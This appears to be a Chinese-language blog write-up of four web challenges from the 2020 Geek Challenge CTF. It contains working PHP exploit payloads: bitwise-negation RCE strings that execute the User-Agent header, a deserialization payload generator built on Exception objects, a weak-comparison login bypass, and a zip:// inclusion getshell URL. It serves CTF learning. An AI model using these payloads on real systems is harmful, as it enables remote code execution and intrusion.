极客大挑战

前言

抽空做了一下2020的极客大挑战,记录一下

Welcome

访问题目环境,啥都没有,可能是源码泄露??扫了一下没有。抓个包看一下,发现是 method not allowed ,POST传一下得到源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
error_reporting(0);
if ($_SERVER['REQUEST_METHOD'] !== 'POST') {
header("HTTP/1.1 405 Method Not Allowed");
exit();
}
else
{
if (!isset($_POST['roam1']) || !isset($_POST['roam2'])){
show_source(__FILE__);
}
else if ($_POST['roam1'] !== $_POST['roam2'] && sha1($_POST['roam1']) === sha1($_POST['roam2']))
{
phpinfo(); // collect information from phpinfo!
}
}

简单的数组绕过,在phpinfo里面搜索flag得到

Rceme

1.png

前端页面好看~

F12 发现提示:vim swp 很显然是 .swp泄露 ,我们访问 .index.php.swp 下载文件 拖到kali 里面,使用 vi -r .index.php.swp 命令来恢复,发现源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
error_reporting(0);
session_start();
if(!isset($_SESSION['code'])){
$_SESSION['code'] = substr(md5(mt_rand().sha1(mt_rand)),0,5);
}

if(isset($_POST['cmd']) and isset($_POST['code'])){

if(substr(md5($_POST['code']),0,5) !== $_SESSION['code']){
die('<script>alert(\'Captcha error~\');history.back()</script>');
}
$_SESSION['code'] = substr(md5(mt_rand().sha1(mt_rand)),0,5);
$code = $_POST['cmd'];
if(strlen($code) > 70 or preg_match('/[A-Za-z0-9]|\'|"|`|\ |,|\.|-|\+|=|\/|\\|<|>|\$|\?|\^|&|\|/ixm',$code)){
die('<script>alert(\'Longlone not like you~\');history.back()</script>');
}else if(';' === preg_replace('/[^\s\(\)]+?\((?R)?\)/', '', $code)){
@eval($code);
die();
}
}
?>

三层:

  1. md5(code) 的前5个字符 要等于题目给的
  2. rce,无字母,无数字,且过滤了 ‘ “ ^ | 等
  3. 要能过正则,无参数,且符合正则的形式,()()这样是过不了的。

截取md5脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import hashlib
from multiprocessing.dummy import Pool as ThreadPool

# MD5截断数值已知 求原始数据
# 例子 substr(md5(captcha), 0, 6)=60b7ef

def md5(s): # 计算MD5字符串
return hashlib.md5(str(s).encode('utf-8')).hexdigest()

keymd5 = '2e2f0' # 已知的md5截断值
md5start = 0 # 设置题目已知的截断位置
md5length = 5
def findmd5(sss): # 输入范围 里面会进行md5测试
key = sss.split(':')
start = int(key[0]) # 开始位置
end = int(key[1]) # 结束位置
result = 0
for i in range(start, end):
# print(md5(i)[md5start:md5length])
if md5(i)[0:5] == keymd5: # 拿到加密字符串
result = i
print(result) # 打印
break

list=[] # 参数列表
for i in range(10): # 多线程的数字列表 开始与结尾
list.append(str(10000000*i) + ':' + str(10000000*(i+1)))
pool = ThreadPool() # 多线程任务
pool.map(findmd5, list) # 函数与参数列表
pool.close()
pool.join()

过滤了异或,我们可以取反,同时可以利用数组的形式来构造字符:

[phpinfo][0] 这个的值为 phpinfo

2.png

这里对命令的长度进行了限制,我们采用一个getallheaders() 这个函数,这个是可以得到请求头的内容,我们通过构造 var_dump(getallheaders()); 构造:

[~%89%9E%8D%A0%9B%8A%92%8F][!%aa]([~%98%9A%8B%9E%93%93%97%9A%9E%9B%9A%8D%8C][!%aa]());

经测试[%aa] 返回1,所以! 取反为0 。 得到回显:

3.png

可以看到User-Agent 为第二个字段,我们可以利用 next 指向它,然后通过控制 user-agent的值来造成命令执行,即system(next(getallheaders()))

对应构造字符串为:

[~%8C%86%8C%8B%9A%92][!%aa]([~%91%9A%87%8B][!%aa]([~%98%9A%8B%9E%93%93%97%9A%9E%9B%9A%8D%8C][!%aa]()));

4.png

可以发现成功执行~

Greatphp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
error_reporting(0);
class SYCLOVER {
public $syc;
public $lover;
public function __wakeup(){
if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){
if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){
eval($this->syc);
} else {
die("Try Hard !!");
}
}
}
}

if (isset($_GET['great'])){
unserialize($_GET['great']);
} else {
highlight_file(__FILE__);
}
?>

很直白的代码审计,反序列化。

这里我们想到利用原生类,之前也有遇到过,用的两个比较多的原生类 Exception和Error ,类之中有一个 to_string 函数,当类被当做字符串处理时,就会调用这个函数。

本地做个测试:

66.png

可以看到,两个类md5加密是一样的,但是这是两个不同的类。注意这里得使两个类在同一行,不然md5加密的值是不相等的,因为报错信息会带行号。利用这个我们可以满足 if 条件了。接下来就是绕过匹配,来rce :

if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match))

不能以<?php 开头,过滤了 ( ) “ “ ‘

过滤 <?php 可以尝试用短标签<?= ,过滤了()绝大多数函数用不了,但是可以用 include函数

我们想办法直接包含 /flag 就好。

构造的payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
class SYCLOVER
{
public $syc;
public $lover;

public function __wakeup()
{
if (($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc) === sha1($this->lover))) {
if (!preg_match("/\<\?php|\(|\)|\"|\'/", $this->var1, $match)) {
eval($this->syc);
} else {
die("Try Hard !!");
}

}
}
}

$str = "?>"."<?=include~".urldecode("%D0%99%93%9E%98")."?>";
$a = new Exception($str, 1);$b = new Exception($str, 2);
$c = new SYCLOVER();
$c->syc = $a;
$c->lover = $b;
echo(urlencode(serialize($c)));
?>

Myblog

7.png

猜测可能存在文件包含,尝试一下伪协议,读到了代码:

login.php

核心的一段信息: <form method="post" action="/?page=admin/user" class="form-validate" id="loginFrom">

我们再来读一下 admin/user的代码:

有两段,一段是关于登陆的逻辑,另外一个是关于文件上传的逻辑,我们先来看一下登陆的逻辑:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
error_reporting(0);
session_start();
$logined = false;
if (isset($_POST['username']) and isset($_POST['password'])){
if ($_POST['username'] === "Longlone" and $_POST['password'] == $_SESSION['password']){ // No one knows my password, including myself
$logined = true;
$_SESSION['status'] = $logined;
}
}
if ($logined === false && !isset($_SESSION['status']) || $_SESSION['status'] !== true){
echo "<script>alert('username or password not correct!');window.location.href='index.php?page=login';</script>";
die();
}
?>

$_POST['password'] == $_SESSION['password'] 这里用的是 弱比较,我们将密码和session都置为空,即可满足相等:

9.png

成功绕过,进入 admin/user 的页面

888.png

在这里找到上传点,我们来看一下文件上传的逻辑:

这里就是一个白名单机制,结合前面的文件包含,我们很容易想到利用 图片马+文件包含来getshell

但问题来了,我们上传的文件 路径为 ./assets/img/upload/xxx.png 然后我们包含的话,后面会给我们加上 .php

就不能成功包含了,这里我们可以用zip:// 伪协议。zip:// 伪协议的格式为:

zip:// [压缩文件绝对路径]#[压缩文件内的子文件名]

我们构造一个 一句话的 shell.php ,然后压缩成zip,改一下后缀名(这里不影响zip伪协议)改成png

然后我们上传,最后包含成功 getshell

http://dab74825-3a98-434c-8d54-2d5618ca06a9.node3.buuoj.cn/?page=zip:///var/www/html/assets/img/upload/dcfa1ea60f2bae0eae2ec714e752a899c7d560b9.png%23shell

拼接之后相当于就是包含了 shell.php

小结

从极客大挑战四道题学到了一些小的trick,比如绕过登陆,数组构造字符串,也复习了一下伪协议的用法